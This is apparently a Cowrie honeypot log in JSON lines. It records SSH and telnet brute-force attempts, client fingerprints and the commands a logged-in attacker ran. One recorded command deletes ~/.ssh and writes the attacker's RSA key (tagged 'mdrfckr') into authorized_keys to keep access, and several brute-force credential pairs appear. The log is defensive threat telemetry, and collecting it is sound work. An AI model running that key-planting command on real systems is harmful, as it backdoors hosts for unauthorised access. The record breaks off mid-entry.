{"eventid":"cowrie.session.closed","duration":38.81205773353577,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:44:07.973920Z","src_ip":"5.61.90.139","session":"0582c72b2e03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.837393045425415,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:44:10.643089Z","src_ip":"5.61.90.139","session":"4c9c08917d6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"125.166.18.60","src_port":33283,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6b917a2d297","protocol":"telnet","message":"New connection: 125.166.18.60:33283 (159.203.135.109:23) [session: c6b917a2d297]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:44:17.579371Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.253.31.232","src_port":53054,"dst_ip":"159.203.135.109","dst_port":22,"session":"dae8d3801833","protocol":"ssh","message":"New connection: 80.253.31.232:53054 (159.203.135.109:22) [session: dae8d3801833]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:44:18.031303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:44:18.035894Z","src_ip":"80.253.31.232","session":"dae8d3801833","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:44:18.164403Z","src_ip":"80.253.31.232","session":"dae8d3801833","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qweasd789","message":"login attempt [ubuntu/qweasd789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:44:18.709733Z","src_ip":"80.253.31.232","session":"dae8d3801833","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:44:19.841136Z","src_ip":"80.253.31.232","session":"dae8d3801833","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.166.18.60","src_port":53979,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbabbd0ef3ef","protocol":"telnet","message":"New connection: 125.166.18.60:53979 (159.203.135.109:23) [session: bbabbd0ef3ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:44:22.472564Z"}
{"eventid":"cowrie.session.closed","duration":39.59846615791321,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:44:36.816835Z","src_ip":"5.61.90.139","session":"b3829bfd47ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.54.88.65","src_port":47321,"dst_ip":"10.17.0.5","dst_port":23,"session":"93a0800d8c7b","protocol":"telnet","message":"New connection: 181.54.88.65:47321 (10.17.0.5:23) [session: 93a0800d8c7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:44:38.347344Z"}
{"eventid":"cowrie.session.closed","duration":40.85042691230774,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:44:39.110330Z","src_ip":"5.61.90.139","session":"37bdbfebf521","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60582,"dst_ip":"10.17.0.5","dst_port":23,"session":"6435f60ba967","protocol":"telnet","message":"New connection: 5.61.90.139:60582 (10.17.0.5:23) [session: 6435f60ba967]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:44:41.401830Z"}
{"eventid":"cowrie.session.closed","duration":41.70055842399597,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:44:45.435915Z","src_ip":"5.61.90.139","session":"90af9b01212a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53950,"dst_ip":"159.203.135.109","dst_port":22,"session":"54054617fcf5","protocol":"ssh","message":"New connection: 159.203.92.129:53950 (159.203.135.109:22) [session: 54054617fcf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:44:48.870258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:44:48.874740Z","src_ip":"159.203.92.129","session":"54054617fcf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:44:48.878872Z","src_ip":"159.203.92.129","session":"54054617fcf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aitech","password":"111111","message":"login attempt [aitech/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:44:48.889241Z","src_ip":"159.203.92.129","session":"54054617fcf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:44:49.895971Z","src_ip":"159.203.92.129","session":"54054617fcf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.315468549728394,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:44:51.662717Z","src_ip":"181.54.88.65","session":"93a0800d8c7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.253.31.232","src_port":54686,"dst_ip":"159.203.135.109","dst_port":22,"session":"be6b5e2421f5","protocol":"ssh","message":"New connection: 80.253.31.232:54686 (159.203.135.109:22) [session: be6b5e2421f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:00.654192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:00.660810Z","src_ip":"80.253.31.232","session":"be6b5e2421f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:00.795350Z","src_ip":"80.253.31.232","session":"be6b5e2421f5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"password","message":"login attempt [steam/password] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:01.355508Z","src_ip":"80.253.31.232","session":"be6b5e2421f5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:01.759334Z","src_ip":"80.253.31.232","session":"be6b5e2421f5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:01.772897Z","src_ip":"80.253.31.232","session":"be6b5e2421f5","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:01.784054Z","src_ip":"80.253.31.232","session":"be6b5e2421f5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:01.937191Z","src_ip":"80.253.31.232","session":"be6b5e2421f5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:02.272079Z","src_ip":"80.253.31.232","session":"be6b5e2421f5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:02.277742Z","src_ip":"80.253.31.232","session":"be6b5e2421f5","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:02.420349Z","src_ip":"80.253.31.232","session":"be6b5e2421f5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:02.426473Z","src_ip":"80.253.31.232","session":"be6b5e2421f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.253.31.232","src_port":54690,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf68f53c2491","protocol":"ssh","message":"New connection: 80.253.31.232:54690 (159.203.135.109:22) [session: cf68f53c2491]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:02.543568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:02.549561Z","src_ip":"80.253.31.232","session":"cf68f53c2491","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:02.681092Z","src_ip":"80.253.31.232","session":"cf68f53c2491","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:03.227144Z","src_ip":"80.253.31.232","session":"cf68f53c2491","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:04.463518Z","src_ip":"80.253.31.232","session":"cf68f53c2491","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.253.31.232","src_port":54716,"dst_ip":"159.203.135.109","dst_port":22,"session":"af6288e2b6dd","protocol":"ssh","message":"New connection: 80.253.31.232:54716 (159.203.135.109:22) [session: af6288e2b6dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:04.588816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:04.602402Z","src_ip":"80.253.31.232","session":"af6288e2b6dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:04.735451Z","src_ip":"80.253.31.232","session":"af6288e2b6dd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:05.288741Z","src_ip":"80.253.31.232","session":"af6288e2b6dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:05.423169Z","src_ip":"80.253.31.232","session":"af6288e2b6dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:05.434497Z","src_ip":"80.253.31.232","session":"be6b5e2421f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.35776948928833,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:20.759481Z","src_ip":"5.61.90.139","session":"6435f60ba967","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.192.185","src_port":57612,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5796abe0a38","protocol":"ssh","message":"New connection: 217.154.192.185:57612 (159.203.135.109:22) [session: f5796abe0a38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:24.156950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:24.162485Z","src_ip":"217.154.192.185","session":"f5796abe0a38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rs